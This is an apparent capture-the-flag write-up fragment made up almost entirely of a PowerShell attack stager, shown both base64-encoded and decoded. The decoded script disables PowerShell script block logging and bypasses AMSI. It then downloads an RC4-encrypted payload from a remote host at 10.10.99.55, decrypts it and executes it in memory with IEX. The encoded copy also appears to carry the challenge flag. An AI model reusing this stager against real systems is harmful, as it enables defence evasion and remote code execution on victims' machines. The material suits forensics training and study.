IAA9ACAAWwBTAFkAUwBUAGUATQAuAE4ARQBUAC4AQwByAGUARABFAG4AVABpAGEATABDAGEAQwBoAGUAXQA6ADoARABlAEYAYQB1AEwAVABOAEUAdAB3AE8AcgBrAEMAcgBlAGQAZQBuAHQAaQBBAGwAUwA7ACQASwA9AFsAUwBZAFMAdABFAE0ALgBUAGUAeAB0AC4ARQBOAEMATwBEAEkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0AEIAeQB0AEUAcwAoACcARQAxAGcATQBHAGQAZgBUAEAAZQBvAE4APgB4ADkAewBdADIARgA3ACsAYgBzAE8AbgA0AC8AUwBpAFEAcgB3ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABFAEEAZABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0ATQBDAGEAaAB1AFEAVgBmAHoAMAB5AE0ANgBWAEIAZQA4AGYAegBWADkAdAA5AGoAbwBtAG8APQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADkAOQAuADUANQA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABmAGwAYQBnAD0AJwBIAFQAQgB7ACQAXwBqADAARwBfAHkAMAB1AFIAXwBNADMAbQAwAHIAWQBfACQAfQAnADsAJABEAGEAdABBAD0AJABXAEMALgBEAG8AVwBOAEwAbwBhAEQARABBAFQAQQAoACQAUwBlAFIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAVABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAGEAVABhAFsANAAuAC4AJABEAEEAdABhAC4ATABlAG4ARwBUAEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=

Again decode this with the same recipe:

  
$GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE('System.Management.Automation.Utils')."GEtFIE`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static').GETValUe($nulL);$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;$GRouPPOLICYSEtTingS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;[Ref].AsSemBly.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SETVaLuE($NulL,$True)};[SysTem.NeT.SErVIcePOIntMAnAgER]::ExpEct100COnTinuE=0;$WC=NEW-OBjEcT SysTEM.NEt.WeBClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeaDerS.Add('User-Agent',$u);$Wc.PRoXy=[SysTeM.NET.WebRequEst]::DefaULtWeBPROXY;$wC.PRoXY.CREDeNtIaLS = [SYSTeM.NET.CreDEnTiaLCaChe]::DeFauLTNEtwOrkCredentiAlS;$K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');$R={$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$wc.HEAdErs.ADD("Cookie","session=MCahuQVfz0yM6VBe8fzV9t9jomo=");$ser='http://10.10.99.55:80';$t='/login/process.php';$flag='HTB{xxxxx}';$DatA=$WC.DoWNLoaDDATA($SeR+$t);$iv=$daTA[0..3];$DAta=$DaTa[4..$DAta.LenGTH];-JOIN[CHAr[]](& $R $datA ($IV+$K))|IEX

Challenges

This post is licensed under CC BY 4.0 by the author.